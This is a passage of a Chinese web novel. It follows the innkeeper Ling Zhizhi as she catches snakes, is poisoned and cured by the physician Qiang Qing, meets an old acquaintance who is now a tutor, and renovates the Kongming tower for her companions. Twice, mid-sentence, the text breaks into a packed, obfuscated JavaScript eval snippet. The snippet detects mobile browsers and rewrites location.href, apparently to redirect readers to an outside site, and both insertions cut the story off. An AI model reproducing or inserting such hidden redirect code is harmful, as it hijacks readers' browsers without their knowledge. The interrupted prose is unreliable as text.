小虾坐在门口,见他们来了准备大喊,想了想又闭上张开的大嘴,小声道:“陈姐在休息。” 他们小心翼翼地推开里屋的门,陈鱼正倚着右手休憩,玉蓉在旁边修补鞋袜。仅是推门时微小的声音,也惊得陈鱼利落地睁开眼,见是他们回来了,并没有被吵醒的烦躁,心里的大石头算是落了地。 “都找回来了?”玉蓉看着眼前两个姑娘,激动地过来问。 令知知拉过她的手道:“对,都找回来了。” 没想到小蟹胆大的很,插到他们二人中间,领着媳妇儿说悄悄话去了。 令知知尴尬的手还抬在半空中,陈鱼心情好,过去拍了拍她的手,转身回楼里去了。 “我没点信烟,是怕引来官府的人。我可不想进禁所里待着。”令知知跑上前去和陈鱼解释道。 “我知道。”陈鱼归置着楼中被摔得七零八落的桌具。 令知知也在旁边忙起来,问:“你知道?” 陈鱼没有回答,只是忙着手中的事情。 “那我有不知道的事情。”令知知拿过她手里的画册,放到一边的桌子上,然后邀她坐下,道:“能和我说说,承桑栩吗?” 陈鱼很聪明,猜出了令知知明了了羌青和承桑栩的关系,道:“你还想知道什么?” “旁的你不愿意讲,我也不会问。”令知知挑了挑眉毛,道:“我想知道,梦寻春处,究竟是个什么地方。” 陈鱼看了看周围,伙计们都在帮忙收拾着班绫来闹过的残局,她思考了一会儿,开口说:“梦寻春处,其实只是一张巨大的网中的一支。” “天下四余门,分为四支,按七政四余中的四余天星列布。罗睺,乃火星之馀气,在门中为锻造兵器的一支;计都一支,土星月孛之馀气,善奇门遁甲之术;月孛,是水星之馀气,也是梦寻春处唯一展露于世的一支,或许看似与青楼无差,但实际是靠着姑娘们交际为有需之人传播打听各种消息。至于紫炁一支,乃木星之馀气,也是百医行在门内的另一个名称。” 真是好强大的势力,当初在鲁班阁,百余号人,也只是分为工匠师和修缮师两类。她道:“也就是说,承桑栩是这四支的头儿?” “对,大家都喊他……门主。”说到“门主”二字时,陈鱼顿了一顿。 “那你们门中,得有多少人?”令知知今日知道了此等秘事,怕是要思索一晚上。 “这个我不知,很多人根本不在梦寻春处,大家都靠秘信或者标记联系。” “好神秘啊!”令知知比之前打听张家少爷的家犬和坊市中的流浪狗生了几只小狗那日还八卦。 陈鱼耸耸肩,准备继续收整。 意到此处,令知知试探开口:“那你和承桑栩是怎么回事?” 还没等陈鱼开口,小虾看令知知在旁边坐着,埋怨道:“掌柜的,不如你再加固加固咱们这楼,那执刀女几次三番来闹,都要把我们这拆了重建了!” 令知知看陈鱼还是一脸不想说的样子,起身走过去环顾破败的四周,无奈又不在意地说:“是,我是得好好想个办法。” 阿荇和阿藻也早就没了彼此的芥蒂,依旧如在戏院那样,彼此照顾,相互鼓励。陈鱼呢也渐渐放下了过往,愿意同令知知讲些小秘密了。至于虾兵蟹将们,各有所长,也彼此信任,算是不可或缺的好手下。现在唯一的要事,就是继续探查碃阳左氏的下落,早日解了孙客的毒。 孙客或许是感受到令知知的碎碎念了,突然打了个喷嚏,失手将手中的插花用的胆式瓶摔破。 玉蓉首先反应过来,说道:“碎碎平安!” “岁岁平安!”大伙都跟着笑道。 看着满满一屋子的人,令知知幸福地叹了口气,道:“如今拖家带口的,还要查案,真是不容易!” 15. 不速之客 白子城旁边隔着条江,江中有极为罕见的白江神鲤,传说只有赤诚勇敢、璞玉浑金的人才能有缘与这护城圣灵见上一面。 五月底的天气已经开始炎热起来,令知知走在江边,时不时拾起几块晶莹剔透的小石块,小心地用手绢包好塞进兽皮包里。 小时候有一次班项领着她和班绫到江边游玩,还真碰巧见到了跳跃在微波粼粼之上的白鲤。只是那时候不太懂事,令知知还在好奇地数有几条鱼时,班项和班绫已经朝着白鲤跃起的方向跪拜了起来。见她还愣在原地,阁主喊道:“小声,快拜快拜,莫对圣灵不敬,会遭天谴的!”等她糊糊涂涂地跪下时,那白鲤已经消失在众人面前了。 令知知想到此处,猜想是不是因为那次没对白鲤跪拜,才有了后面那许多麻烦事。只是江面上反射的阳光晃人眼睛,令知知的手心湿漉漉的,不知是江水还是汗珠。她拿起包挡在面前,兽皮上的兽毛都因为溢出的汗珠使其黏在一起,看上去脏脏的。 夏天到了,得去抓条大蟒蛇来挑骨去筋,做成凉凉的蛇皮包,若是能多捕得几条,还能给大家做做刀鞘剑柄什么的。她这样想着,往远处那片湿地走去。 或许因为这里靠□□和水鸟很多,什么黑眉锦蛇啦、玉锦蛇,还有红点锦蛇,都在此处聚集着。 锦蛇有药用价值,若作药酒,可舒筋活络、祛风除湿,其胆入药可治关节风湿、消化不良之症。若能恰巧遇见此蛇,将其胆取出又可以卖到阮徽的药铺中小赚一笔。 此处多泥沼,她越走越深,令知知将裤腿拉至膝盖再用旁边的藤蔓束起,跺了两脚确保不会掉下后,拿着棍子在溪流野草中探寻起来。 令知知一会儿就探到了一条在石块上晒太阳的有土黄色斑纹的棕黑锦蛇,她用棍子压在蛇的头部下面,用力压下去,蛇的尾巴不停挣扎晃动,她抽出小刀往蛇头砸去,只一下,快准狠,小小锦蛇收入囊中。 寻着这条小溪径,令知知又捉了几条小蛇。但是楼中如今有九个人,这些根本不够用的。擦了擦额头上的汗珠,她继续蹚水走着。 没想到一棵柳树下,居然有个男子带着几个孩童在此处玩耍,像是发现了什么,男子招呼孩子们坐下观察,嘴巴里面念着什么。令知知走近一听,孩童们稚嫩的嗓音重复着:“蝌蚪鸟迹一玉开,怀幽抱密真奇哉。” 听见有人来了,男子警惕地扭过头来。 真是好熟的一张脸。阳光下的皮肤尤为细腻白嫩,因为担心而皱起的淡眉也染了金边。见来者是位女子,那红润唇边浮起温暖的弧度,礼貌地冲令知知笑笑。 令知知愣在原地,心提到了嗓子眼,眼睛也不自觉地瞎瞟,看见自己在水中的略显狼狈邋遢倒影,又缓缓释然了些什么。 她放下装着蛇的笼子,缓缓走过去,也蹲在被孩子们围着的水洼旁边,看着蝌蚪在水中扭动着身体,道:“你们这是在……观察蝌蚪?” “先生在教我们诗歌!”一个男孩子答道。 如今这个儿郎居然已是为教书先生。令知知有些惊讶,又觉得是意料之中,道:“你是私塾先生?” “鄙人在东柳巷开了家书肆,平常也教教孩子们写字念书。”他温柔地拍拍旁边男孩的头,“姑娘呢,来此捕蚌的?” 定是看见了令知知刚刚腰间挂着的蛇笼,误以为是来收蚌的了。令知知也怕惊着孩子们,顺着说下去:“对。” 此时溪流中的小洲有鹭鸶飞起,众人的目光追随着这般优雅的白色动物,至它们飞到远处消失不见,先生道:“漠漠水田飞白鹭,阴阴夏木啭黄鹂。” 令知知也跟着孩童们齐声道:“漠漠水田飞白鹭,阴阴夏木啭黄鹂。” 或许是此时此刻这段温暖时光过于美好,一条绿色水蛇竟悄然钻到了其中一孩子脚下。还好那蛇吐了下信子,被令知知警惕的眼神捕捉到了。同时,那教书先生也发现了。 他惊慌喊道:“圆圆!小心!” 不知蛇是不是也被这一声喊吓到了,游速更快了些,就在要钻进那孩子裤口时,令知知抓住蛇尾往远处跑去。 那个名叫圆圆的小孩瞪着大圆眼,还不知道发生了何事。 教书先生火速跑过来,担心道:“姑娘,姑娘,你还好吗?” 令知知正三下五除二的“伺候”着这条水蛇,不知道手上鲜红的液体是蛇的血还是她的血。她顾不得脸面,只是将蛇头对准一块尖石砸去,终于,蛇不再动弹。 她呼出一口气,手死死捏着蛇然后胡乱拨了拨黏在额头上的刘海道:“还好还好,解决了。” 男子拿出手帕递给他,指了指她的额头,又看见了她受伤的虎口处,担心道:“你流血了。” “这种绿水蛇,无毒的!没事。”令知知笑着将蛇装进笼子里,男子才发现她笼子里满满当当装的都是外表可怖的长蛇,心里紧了一下。 “别怕,都死了。”令知知安慰他。 那个叫圆圆的孩子跑过来,说:“姐姐,你没事吧!” 令知知吐吐舌头做了个鬼脸,趁机将蛇笼向后背,道:“我没事!”她扭头对男子说,“这个小孩,模样真秀气,像个女孩儿!” “她就是女孩儿,还有另外一个,叫方方。”他把方方叫来,“这两个女孩儿是被一女子送过来的,说可以帮我收拾书肆,但年级始终还太小了些,脏活重活也做不了,我就先教他们念书,以后没准能考个女官呢!” 这村野间的女子是不可能入得了官场的,但他能有此种想法,令知知感觉颇为惊喜。 “你真这么想?”她擦了擦血渍,看着两个孩童粉粉的脸颊,她猛然想起阿荇当初说的话来,表情欣喜起来,“交给你这两个女孩的女子,是不是叫阿荇?” 男子有些出乎意料,道:“你怎么知道?” “她现在在我楼中做工呢!”令知知爽朗地笑了,拍拍方方的肩道,“还多谢游先生照顾这两个女孩儿了,若这两个女孩儿有什么需要的,尽管告诉我,书费杂费的,由我来交!” “这个倒不必,但是今日看姑娘十分面熟,敢问姑娘是?” 令知知脸上都是泥水血渍,短暂地想了想他应该认不出自己,在水坑旁揉洗好手帕后递过去,仰着脸道:“孔明楼掌柜的,令知知。” 果然一听到令这个姓氏,游先生的笑容僵住,又眯眼怀疑道:“不过,令掌柜如何知道我姓游的?” “自然是阿荇告诉我的!”令知知那时下意识脱口而出了,还好早想到了对策。 游暮往看上去倒像是放下了疑虑,沉了沉气,微笑重新挂上嘴角。 “原是如此。两两三三,朝游暮往,在下游暮往。”他将令知知手里拿的手帕推回去,道,“相识一场,令掌柜的留个纪念吧。” 令知知也有些担心自己之前的话可还有何说漏之处,将手帕塞进怀里,故作爽快道:“行!忙活一中午了,我也得回去了。游先生也早日带孩子们回去吧,此处蛇虫最多了。” “令掌柜也多加小心。”游暮往呆呆地望着令知知离去的方向,不知想起了哪位故人。 实在怕被认出,令知知这一路走得又慌又急,几个踉跄过后呼吸不过来,躺在一大树根下休息。 只是一会儿,便觉头晕目眩,怎么蠕动身体都不自在,她艰难地看了看手上的伤口,想:“该不会真是毒蛇吧,此处虽山环水绕,但实在阴湿,难不成就要交代在这了?” 就这一想,头痛欲裂,她能感受到自己的身体开始不受控制的发抖,就在晕厥之际,她隐隐约约听到一女子声音:“半刻钟,比我想的要久些。” 随后,她便晕过去不省人事了。 迷迷糊糊之间,她又做了场梦。 梦里她在院中的樱花树下玩闹,阿绫拿着小木刀追着她砍,她就环着树绕啊绕,等她俩都跑不动了,就去旁边看坐在石桌旁同夫子下棋的游暮往。那时候夫子常逗班绫,“小声活泼开朗,暮往沉着淡然,你长大了要嫁给谁好哟!” 阿绫羞涩一笑,看看温柔如水的游暮往,又看看调皮捣蛋的令小声,满脸娇羞地指了指令小声。 突然,阳光藏进了乌云里,院子里狂风大作,樱花树上的粉色朵朵也被吹得七零八落。班绫揪着不知何时穿上女装的令小声的耳朵,恶狠狠地说:“你又骗我?” 令知知瞪着被子,手舞足蹈含泪解释道:“我没有,我没有。” “你没有什么?”一个略微有些沙哑的女声打断了她的梦。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15122547|163112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 令知知猛然清醒,发现自己正睡在墨色帐中,满屋香气。短短几天时间,她又经历了一次晕倒,都快适应了。 她冷静回想着自己先前在何处,又是如何到了这里,眼前这个中年女子又是谁,头愈发晕了。 “你还是不动为好。”那女子开口,又点了她的穴位让她动弹不得,“听闻有人在寻我,我便也来看看是谁?” 令知知睁着因为多梦而干涩的大眼睛,想仔细分辨眼前的人。 “你应该也猜到了,我就是你要找的人,白医行羌青。”女子清瘦但皮肤白皙,身穿一身青纱,看上去像是三十多岁的样子。 “你被我的药蛇所伤,所以同那青蛇一样,也中了我下的药。”她坐在令知知的身边,替她掖好被子,说:“你为何要寻我?是门主派你来的?还是……还是术儿?” 她提起术儿时,眼里不知是什么,好像有期望又有些失落。 “若是,若是术儿要你来寻我的,你眨两下眼睛,若是门主,你就把眼睛闭上。” 令知知听话地眨了两下眼,那女人的紧绷的面容瞬间柔和了下来,轻轻舒了口气,笑着道:“我这就取药来。” 等羌青给令知知灌下药汁,她道:“这是蛇胆水,不过这药毒相生,对你来说应该也不是什么罕见事。” 令知知其实早就自己解了穴,喝下后,眼晕之症倒是好了许多。 她咽了咽口中的苦水,开口道:“多谢。是苍术,让我告诉你她要与段邤已私定终身,南下游玩去了,还让我给你带了聘礼。” 羌青明显表情缓和了不少,但还假装责怪道:“段邤这小子……”眼里是藏不住的喜悦,“对了,你吃辟岭归元丹了?” 令知知坐起身,说:“是,先前也是段邤给我的。” 羌青未说话。 “您既然来找我,那必然知晓我是白子城城东孔明楼的令知知,此次与羌医士见面实属匆忙,那聘礼我也没装在身上,若是不介意的话……” “不介意,不介意。”羌青一改刚才黑沉的脸色,有些诡异且疯癫的笑着,“何时去取啊?” 那日谈起四余门,陈鱼也说过这承桑栩门下奇人怪客齐聚一堂,今日见到羌青,也能有所体会了。毕竟提前了解过,面对此时激动的羌青,令知知并未感受到过多的紧张与害怕。 “等我好了,快马加鞭给您送来。” 羌青又荒唐地笑了起来,说是笑声,但那声音尖锐如狐狸嘶吼,要不是看她这般模样,还以为是什么狐妖要吃人了。 “羌医士,您用这药蛇作甚?”令知知试图和她讲话。 听到和药相关的,羌青立马换了个人似的,肩沉了下来,面容也不狰狞了,轻飘飘地说:“自然是做酒,卖钱。” “可这药不是……”令知知可是被这药蛇轻轻咬了一口就变成如今这副模样了。 做酒,也怕是毒酒。 她凑近令知知,抬起她已经被包扎的手,道:“买家,自然是要拿去害人了。” “可是医士,为的就是治病救人吗?您这样纵恶,不违背您百医行的初心吗?” “你和我说,初心?我做这一行,只因这一行赚钱,谈何初心?”她用指头挑起令知知的下巴,“还有,小姑娘,你不想一想,害人的人一定是恶人吗?” 是了,阿荇和左阅联手杀了张简,也不见得阿荇就是坏人,是那张简本就该去死,阿荇不过是替天行道罢了。如此一想,行恶事的不一定就是恶人,也有可能是被逼无奈的好人。 令知知咽了咽口水,道:“我不与你争论,我此刻只想知道几时能回家。” “你在这已经躺了两日了,你想几时回,便几时回吧。”说罢,她收拾桌上的行囊走了。 令知知又躺了一会儿,确认了功力恢复后才起身准备回楼里去。出门前,她挂起蛇笼,随意颠了颠,似乎有些什么不对劲。 打开看,发现少了那条青色水蛇。 算了,羌青也算是毒了她又救了她,给她一条蛇倒也无妨。 她出门,发现这小破屋离捕蛇处不远,叼起根狗尾巴草跑跑跳跳着回家去了。 “就是不知道那八个人,想我了没有,也不说来找找我。” 16. 起哄小队 回到东门,就看见神色匆匆的小泥鳅从自己面前跑过。 令知知眼疾手快,直接上手逮住了他的衣领。 小泥鳅还不知,怒气冲冲地扭动着,头也不回地叫骂道:“何人捉弄我,我此时有要紧事要做!” “何事啊?”令知知现在力大如牛,任凭小泥鳅如何挣扎,手也不曾抖一下,更别说声音了,异常的稳。 听出是令知知的声音,小泥鳅这才将在空中做无用狂蹬的腿收回。然后试探性地问:“掌柜的?” “嗯。”令知知装出难得的沉稳。 “太好了。您回来了,我这就去叫大家回来。” 小泥鳅怕是自己的幻觉,开始还不敢回头确认是不是令知知,等令知知手松开了揪住他的手,往前跑了几步才敢回头。确定是令知知又高兴地朝她挥挥手,扭身时差点撞上拉菜的大叔。 等到人都聚齐了,令知知以为大家都会跑过来问自己经历了何事,却没想到八个人将她包围,像是要严刑拷问般。 “你们这是作甚?”令知知无措地撅起嘴撒娇般。 陈鱼率先开口:“为何现在才回?” “我这不是受伤了吗?”令知知挽起衣袖,想给他们看自己被咬伤的虎口。 她给大家看,没想到众人一头雾水。 小虾也学着陈鱼的语气冷冷道:“伤在何处啊?” “诶你这个臭虾,你学什么不好!你学陈鱼?”令知知站起来就要开口骂,被小泥鳅拦住了。 小泥鳅拉着她再次坐下,给她个眼神示意。令知知顺着视线看了下右手,原先的两个蛇牙印子不见了,再看看左手,也同样没有。 这羌青人怪怪的,医术也怪好的。可是现在正是需要伤口博取同情的时候啊! 令知知两只脚焦急地瞎扑腾着,“你们听我解释。” “不必了。”孙客坐在中间,作伤心抹泪状。 “我们都知道了。”阿荇也苦恼道。 令知知抓狂,“不是,你们都知道什么了?” “知道……掌柜的和那游夫子私会……”小蟹担忧地看了一眼孙客,孙客也接收到信号,索性趴在小蟹厚实的肩膀上哭了起来。 “狗屁!老娘救了那个寄养在宋家书院的圆圆,被蛇咬了,遇见个神婆子,又给我治好了。”令知知向来不忍自己被冤枉, “腾”一下站起来,吓得众人一哆嗦。 “怎么一点伤疤都没有!”令知知还在看自己的虎口,十分懊恼。 那种奇怪的声调再次从身后传来:“你说谁是神婆子?” 令知知似乎都没察觉到身后还有人,诧异地扭头一看,羌青正双手、头上、肩膀上都端着几碗汤药。那汤药在她身上似乎坐得很稳,连晃都不晃。 “嘿嘿,羌医士,你怎么来了?”上一秒还在说她的坏话,令知知被抓包的表情好像谄媚的狐狸。 羌青稍稍运气,手上和肩膀上的碗稳稳落在四个姑娘手中,又自己端下头顶的一碗豪气地给令知知递过去。 “阮徽的药开得不错,就是药效慢了些,按我的来,一天一副,好好调理下来,保管姑娘们气血回归、月事不痛,还能保持健康身材!”她夸耀着。 姑娘们多多少少都有些宫寒体虚、气血不足的问题,听她这样说都大口喝了下去。 令知知擦擦嘴,问其余的人:“你们都知道了?我说我这几天的经历。” “早就知道了。”众人像那群私塾的孩童般齐声道。 “包括你与游夫子的事儿。”小虾看热闹不嫌事大的插了一句。 令知知看了眼假装吃醋的孙客,道:“我和他能有什么事!快别乱说了,影响我二人感情。” 大家又一起“切”了一声。 “掌柜的,你走得也太慢了,我们还以为你又惹是生非去了。”小虾责怪道。 “我?”令知知指着自己,不可置信,大眼睛圆圆地睁着,“我惹是生非?你没搞错吧!” 令知知打开捕蛇笼子,道:“喏,这些都是我捕的蛇,之前还想把那些个要赠与几只‘白眼狼’防身的武器好好装饰装饰, 如今看来是不用了。”她假意扭头走开。 “武器?”小蟹眼睛都亮了。 令知知其实是个藏不住事儿的,自从搬来了白子城,她就托人寻来了上好的玄云铁想着给大家做个防身的家伙什。再加上有黑衣人曾经要伤害阿荇阿藻,除了教他们武功防身外,武器也必不可少。这些事早就在令知知的心头酝酿了好久,现在看来,瞒了一月不足已是极限。 小泥鳅听到令知知要送东西,连忙问道:“什么武器?” “哎。”令知知背过身摇摇头,不顾楼内还有个疯疯癫癫的羌青,一步蹬上暗层中取出一个木盒子。 在众目睽睽下打开这有些过度装潢的盒子,里面躺着长短不一的刀剑。 “都是送给我们的?”小虾趴在木盒子边上,眼里反射着刀剑折射的利光。 令知知嘟嘟嘴,眼睛朝上瞟,故意道:“看你们愿不愿意要咯?” “多谢掌柜的!”虾兵蟹将开心地搓着手。 “现在还不是给你们的时候,等我将这些蛇皮褪下作成刀柄剑鞘再给你们也不迟。”令知知速速收起盒子,身轻如燕地跑到楼上去了。 羌青对武器什么的也不感兴趣,拿着一大包金银首饰准备离开,抓住小泥鳅道:“你们这掌柜的,一直这样来也匆匆、去也匆匆?” 小泥鳅哪能忍受羌青阴阳怪气自己的东家,道:“医士你才是来去匆匆吧!”然后又觉得她说得有理,轻声说,“我们掌柜的不过是有些,有些……我行我素罢了。” 突然从楼上传来令知知的声音,“明日起孔明楼闭门谢客,着手修缮!” 小泥鳅和羌青四目相对。羌青眨眨眼道:“但是她这个嗓门还是蛮嘹亮的!” 说罢羌青对阿荇点头示意后便从旁边的窗子跳出去了。 令知知莫名其妙地丢下一张白纸,孙客左耳尖一动,伸出手干净利落地接住,随即到柜台拿起毛笔就往上写。在众人还有些摸不着头脑的时候,陈鱼刚好端来一碗浆糊,二人配合着去门口贴上告示。 等他二人贴好离开后,其余六人齐刷刷地看着告示上写的东西——今日起孔明楼修缮,暂不做工,特告知各位街坊来客。或有噪声尘土,在此深表歉意。 阿藻和玉蓉莫名其妙被塞了一包糖豆,陈鱼丢下一句“分给街坊邻居。”就拿着羌青给的药方出门抓药去了。 “他们怕是老妖精,没个三五百年的怕是修不成这般默契。”小蟹懵懵地说。 小泥鳅想回楼中收拾,却狠狠撞到了小蟹,小蟹丝毫未动,他捂着鼻子道:“我看你倒是挺像个黑熊精。” 第二日,小蟹玉蓉夫妻俩打着哈欠就来上工了,陈鱼也早早地煮好了粥,门口记录来客的单子的木板空空如也,楼里有种特殊的幸福感。 “你们俩真早。”令知知伸着懒腰从楼上向下看。 小蟹笑笑,指了指陈鱼,道:“陈姐仍居榜首。” 阿荇阿藻端着粥从厨房里出来,阿荇道:“快来吃咯,营养又养颜的健康养生粥!” 健康养生粥?令知知拉起刚刚洗好脸的孙客的手就往下跳,伙计们已然习惯了这大动静,也没耽误事。 令知知蹲在桌旁用力吸了口气,对陈鱼道:“这粥似乎与往日的不太一样?” 小虾小泥鳅一个拎着一个的领子从后院里出来,睡眼惺忪,“什么东西这么香?” 陈鱼给大家分配着粥,说:“昨日羌青给的药方,说掺在粥中对人体百利而无害。” “我们竟然也蹭上你们女子的光了!”小虾道。 “你这说的什么话,你不一直沾你们掌柜的的光呢嘛!”阿荇没好气地说。 小泥鳅期待着粥,两手拿着筷子不自觉地摇摆着,说:“诶,别吵。什么你们掌柜的,是我们掌柜的!” 令知知笑了,“还是小泥鳅嘴甜。” 陈鱼或许也是心情大好,对着男子们那桌道:“这是绿豆薏米粥,掺了清丝柔,利于清热解毒、利湿排脓。” 然后对着女子们这桌说:“这是红枣枸杞粥, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15138923|163112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 加了羌青自己种的蜜花须,可以补气养血、安神明目。” “为何我的不一样啊?”小蟹挠着脑袋,看看别人的再看看自己的。 “你那个,我不方便说。”陈鱼坐下,舀了一口粥喂进嘴里,脸上少有的泛起红晕。 大家都不怀好意地“哦”了起来。 这是什么意思?令知知八卦地看向陈鱼,发现陈鱼正低头不愿与人对视,又看向旁边坐着的阿荇。 阿荇凑过来轻声说:“昨日羌医士给每人都诊了一脉,小蟹提起要备孕的事就……” 哦,原来是备孕粥啊。令知知浅浅笑了笑,又怕玉蓉不自在,叫停了起哄声。 “孙客也诊了?”令知知问。 “诊了。”阿荇刮着碗底的粥,“但他被羌医士叫到后院说话去了,我们也没听见些什么。” 令知知点点头,担忧地看了一眼孙客。若是有法子救他,他肯定会与她讲的,只是如今看来,怕是无望了。 孙客还是一如既往浅笑着同他人谈天。 大家吃饱喝足后,令知知叫着几个男子把材料都挪到后院去,女子们都持着几个工具。 她又拿出一块图纸,钉在原先用来记单子的木板上,说:“这是我这些天乘着空闲时画的图纸,大家看看可还有什么遗漏之处需要填补?” 大家一窝蜂地挤到前面去,仔细地一寸寸看着。原本以为大家都会在意自己的卧房会如何修改,没想到个个都是忠于事业的主儿,七嘴八舌地议论着这孔明楼应该如何修缮。 “此处,楼壁和楼柱都改为铁木。这铁木得从北境运来吧,得花不少银子呢!咱们负担得起吗?”小泥鳅思考着。 小虾也皱着眉道:“还有这里,把原先被白蚁蛀咬的木梁都换成松木,可是我们这雨季就要来了,松木木质松软易吸水,那岂不是又要花很多时间去涂防水涂料了,那东西又黏又臭,得晾上好些日子呢!” “好了好了,你们说的这些我都有数。”令知知嘴角一扬,假装随意地拖出一车银子,“这么多钱,够修两个三个孔明楼的了。” 阿荇道:“哪来的这么多钱啊!” 令知知骄傲起来,“自然有我的办法。” “鲁班阁赔的。”陈鱼默默解释道。 自上次班绫来闹事之后,令知知也不纵她,对于班绫的恶行洋洋洒洒地怒写五百字告状书,当然,怕班项认出她的字迹,还让陈鱼原模原样誊抄了一遍。在某个天气晴朗的早晨被绑着一颗石块随意地丢到班项卧房门口去了。 班项宠溺班绫,但也不会就此不管,于是豪气地拖来一车银钱赔礼道歉。还好当时陈鱼拿着写给承桑栩的信准备出门,班项一看那信封上的字,把陈鱼错认成了令知知,说了些道歉的话,叫陈鱼不要计较。 陈鱼那一张臭脸,木木地等班项讲完,也不解释,但也不能见钱不管,拉着银子就绕道去后院屯了起来。直到昨日给羌青找聘礼时才想起来那一车子钱还放在仓库里。就怕是夜晚上工的小贼也没料到这连个锁都没有的仓库里搁着一车数不清的银子,可见这孔明楼现如今的外表有多破烂不堪。 “等我算一下。”小泥鳅掏出账本挨个按着图纸上的材料算着,过了一会儿欣喜地说:“应该还能余下不少!” “我已付了定金给那木材商,余下的应该会更多。”令知知看着自己的图纸格外满意,“现下还需要涂料的采买,还有你们各自房间的装饰用品,都和小泥鳅预支些钱,多退少补。” “是!”各个眼睛里都亮晶晶的,像几只哈巴狗。 尽管令知知也把玉蓉和小蟹的房间做了改造规划,但两口子说令知知原先就为他们的房子出了大头,这次万不能再花楼里的钱,就去采买涂料的材料去了。 孙客的房间早就被令知知布置得温馨舒适,他也说没必要再添置些什么了。 至于陈鱼,只花了一两银子换了个黄花梨衣柜。之前那个装过张简尸体的那个衣柜连着衣服被褥都被她扔出去了。她说她特别讨厌死男人味儿。 令知知假意扇了扇空气说:“那玩意儿谁会喜欢呢?” 17. 聚财宝楼 等到东西都到齐了,孔明楼的墙壁木材被敲打拆卸而发出的轰鸣声整整持续了一月有余,隔壁的邻居们因为收下了糖豆而不好意思出面打扰,唉声叹气地挨到七月底。工人们和伙计们来回穿梭在各种房间中做着收尾工作,从材料的搬运到安装、再到打扫,等到连细枝末节都已经打理好时,已是白子城的雨季。 后院门外不知何时栽种了一排临河柳树,东南风沿河吹来时枝条摇曳多姿。当初选址时就想着背后有一条河,可以方便楼里人做饭浣洗,此时柳树一栽,遇水又生财,“柳”又通“流”字,如此一来财富都顺着东南风吹进了门内,对风水学只略懂皮毛的令知知对这无心插柳的恩赐欢喜得很,认为是上天眷顾。 她嘴里念叨着一句口诀:“真是‘乾坤震巽坎离艮兑,东西南北中上下。八卦方位心中记,一线连起机关迷!’” “掌柜的怎么神叨叨的。”阿荇小声嘀咕着。 没想到令知知耳朵好得很,鼓起腮帮子说:“你懂个毛毛!这植物在东南方,又吹东南风,是助事业的好吧!说不定,哪天财富就从这门里跟着风涌来了。” 几个人撑着伞,有些被逼无奈地看着跑进跑出的令知知朝着门比划来比划去、又颇为满意地向众人解释这块“聚财宝地”如何如何好,他们就负责时不时附和地点点头鼓个掌。 “这财从后门进,感觉哪里怪怪的。”小虾撑着伞的手有些酸了,递给小泥鳅。 小泥鳅是唯一一个把这些这些迷信之说当作真理听进去的人,用崇拜的眼神盯着令知知,手里自然地接过一把伞都不知道。 他顺口一问:“哪里奇怪?” “貔貅是只进不出,有口无排泄。而我们这好像反了,财运从排泄口进来了。”小虾喃喃道。 小泥鳅这才回过神来,反驳道:“那有何不对。我们每天早晨从大门出去上工,晚上揣着银钱从后门入院,财运从后门进来才对着呢!” “你这样一说,是有些道理哈!”小虾一听这话,摸了摸自己瘪瘪的钱袋子,感觉过几天能换个大些的才装得下滚滚而来的财运。 令知知看面前一“团”人表情困倦,不知从何处拿出一堆“金银铜铁”,叮叮当当相互碰撞。 她随意地将这堆器物摊在新搭在院中那六角亭子的木桌上,众人果然被吸引了目光。都把伞合上往亭子里挤。 “莫不是这些就是掌柜的要给我们的防身之物?”小泥鳅是伙计里拳脚功夫最好之人,对器物也颇有些见解。 小泥鳅捧起其中最为显眼一件,兴奋道:“这是……这是辉云铁石做的,这种铁石最有韧劲,能化他人之力助自己之势。” “传说中的以柔克刚?”小虾羡慕道。 令知知看他喜欢,自己也心安了许多,说:“你倒是与这辉云剑颇为有缘啊,拿去吧,这便是送你的。” 听了这话,小泥鳅立马拿起辉云剑,在众人面前毫不掩饰喜悦地武了一招。 细密的雨珠停留在剑身,片刻后凝聚于剑尖。不知是他刻意收了势,还是功力不足,雨珠并未如想象般同石子弹射出去,只是化在雨幕中不知所踪了。这一套剑法,尽显钢之柔情。 “这是哪派的剑法,我竟第一次见。”令知知幼时幸得班项之妻久月派双霜女侠传习剑法,在剑会之上见过不少江湖弟子的剑术,也算有些见闻。她也曾在双霜指导下习得一套鸳鸯剑法,在元宵宫宴上崭露锋芒,被先帝称为“绝代鸳鸯”。 小泥鳅的这剑法,敏捷飘逸、以守为攻,再搭配这辉云剑,如同锦上添花,一套招式下来浑然天成。 “小时候随便练的,只学了这一招就放弃了,没想到今日还能用上。”小泥鳅笑呵呵地抱着剑。 “好了好了,都过来拿吧。”令知知看其他几个人也对桌上的器物颇感兴趣,挨个为他们介绍着。 她拿起一件像竹节般的物件,说:“这三把蛇纹玄云短刃是给你们三个姑娘的,平时像个装饰一样挂腰间,但在关键时刻抽出按下此开关,”令知知示范按下一个前端圆块,刃尖迅速从手柄中窜出,众人凑近的脑袋被吓得浅浅向后躲闪了一下。 “这手柄后还有一开关,按下后会喷出信烟。若遇险情,定要保护好自己后再发射信烟通知我们。” 三个姑娘点点头,接过剑柄拿在手中把玩着。 “至于这个东西,”令知知拿出两支粗银簪,“我叫它千丝万缕,旋钮管身后会从前端窜出36根银针,银针上都是羌青新调配的毒,解药便藏在管底。小蟹和小虾你们二人,一个太壮实一个太瘦弱,跑几步便要大喘气,给你们些刀剑也不见得你们会用,这个便赠与你们了,这会子便戴上吧。” 